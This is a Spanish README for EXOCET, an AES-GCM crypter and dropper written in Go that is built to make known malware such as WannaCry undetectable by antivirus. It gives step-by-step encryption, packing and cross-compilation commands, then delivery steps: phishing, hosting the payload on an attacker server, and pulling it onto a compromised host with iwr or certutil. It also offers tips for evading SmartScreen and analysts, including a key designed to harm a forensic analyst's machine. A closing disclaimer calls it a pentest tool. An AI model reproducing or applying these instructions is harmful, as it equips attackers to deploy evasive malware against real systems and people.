EXOCET - herramienta de entrega de payloads que evade AV y es indetectable
Chang Tan
AWS Certified Cloud Practitioner and Solutions Architect Associate
[email protected]
Asegúrate de empaquetar tus payloads para evitar cualquier fuga de la clave del crypter y frustrar aún más a los analistas de malware. NO se requiere un empaquetador comercial de primera línea como Themida. Esto levantaría más sospechas sin algo como un certificado de firma de código. Sin un certificado de firma de código, en sistemas Windows, SmartScreen se activa automáticamente. Esta es la regla para todos los programas potencialmente no deseados o "PUPs", lo que significa que todos los payloads de malware, beacons, geacons, troyanos de acceso remoto, etc., requieren un certificado de firma de código. Tu dinero está mejor invertido en comprar un certificado de firma de código que en algún empaquetador de primera línea.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Luego, entrega el payload a tu objetivo. Usando algo como un correo de phishing, un enlace, o si ya tienes acceso de shell, entrégalo usando algo como alojar tu propio servidor localmente
python -m http.server 80'
y luego en la máquina que estás comprometiendo, ejecuta como un símbolo del sistema de PowerShell
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
o
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
y luego ejecuta con outputmalware.exe
EXOCET es superior a los módulos "Evasive Payloads" de Metasploit ya que EXOCET utiliza AES-256 en modo GCM (Galois/Counter Mode). Los Payloads de Evasión de Metasploit utilizan un cifrado RC4 fácil de detectar. Mientras que RC4 puede descifrar más rápido, AES-256 es mucho más difícil de determinar la intención del malware.

Sin embargo, es posible usar Metasploit para construir un Payload Evasivo, y luego encadenarlo con EXOCET. Así que EXOCET descifrará mediante AES-256, y luego el Payload Evasivo de Metasploit se descifrará a sí mismo desde RC4.
Muy similar a mi proyecto anterior, DarkLordObama, este conjunto de herramientas está diseñado para ser un vehículo de entrega/lanzamiento, como lo hace Veil-Evasion.
Sin embargo, EXOCET no está limitado a una sola base de código o plataformas que ejecuten Python. EXOCET funciona en TODAS las plataformas y arquitecturas compatibles que Go soporta.
EXOCET, es efectivamente un dropper de malware tipo crypter que puede reciclar payloads fácilmente detectables como WannaCry, cifrarlos usando AES-GCM (Modo Galois/Contador), que es más seguro que AES-CBC, y luego crear un archivo dropper para la mayoría de las arquitecturas y plataformas existentes.
Básicamente...
Eso significa arquitecturas de 32 bits y 64 bits, y funciona en Linux, Windows, Macs, Unix, Android, iPhone, etc. Tomas cualquier cosa, y quiero decir CUALQUIER COSA, como el Gusano Morris de 1988 que casi colapsó Internet (que explotó una falla en el demonio de escucha fingerd en UNIX), y la conviertes en un arma cibernética viable nuevamente.
EXOCET está escrito completamente en Go.
EXOCET, independientemente de qué binario uses para ejecutarlo, requiere Golang para funcionar. Por defecto, genera un archivo .go de crypter.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Se genera automáticamente una clave para ti. La clave tiene 64 caracteres de longitud y está compuesta completamente por redireccionadores de tubería de shell de bash y cmd.exe para confundir e interrumpir los intentos de fuerza bruta contra la clave, causando un comportamiento impredecible y destructivo en el dispositivo del analista forense.
Para objetivos Windows de 64 bits...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
Y sale un archivo outputmalware.exe file
Para objetivos macOS de 64 bits
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Para objetivos Linux de 64 bits
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Consulta esta referencia en github para tus parámetros para otros sistemas operativos como Android Referencia para Compilación Cruzada de Go
Ten en cuenta que la clave aún se puede encontrar con el comando strings, por favor usa el comando upx-ucl para empaquetar el binario y ocultar la clave.
Además, hay binarios preconstruidos que he hecho, lo que significa que solo tienes que ejecutar ./EXOCET o EXOCET-Windows.exe
Yo, Chang Tan, y los creadores del módulo principal y submódulos de Exocet y los paquetes que incorpora NO somos responsables del mal uso de esta herramienta. Esto es meramente una herramienta de pruebas de penetración. Tienes estrictamente prohibido implementar binarios de salida de Exocet contra sistemas protegidos no autorizados o sistemas gubernamentales protegidos no autorizados.
Soy consciente de que actores de amenazas de APT41 y el Grupo NSO han utilizado y/o adoptado código de esta herramienta, particularmente el método go-memexec. Si fuera abordado por Investigadores Federales con respecto al mal uso de esta herramienta, no reclamo responsabilidad.
Esto es lo mismo que les sucedió a los desarrolladores de Mimikatz y PowerShell Empire (quienes deprecaron su propio desarrollo al darse cuenta de su uso entre actores de amenazas). Los sucesores han retomado el desarrollo de Empire, y existen alternativas gratuitas como Covenant C2.
El 4 de mayo de 1982, durante la Guerra de las Malvinas, un escuadrón de Super Etendards argentinos lanzó un misil Exocet de fabricación francesa contra el HMS Sheffield. A pesar de los intentos de la Marina Real de detener el misil, uno impactó, hundiendo el Sheffield. Ese incidente literalmente puso a Argentina en el mapa como una muestra de fuerza contra un poder colonial global.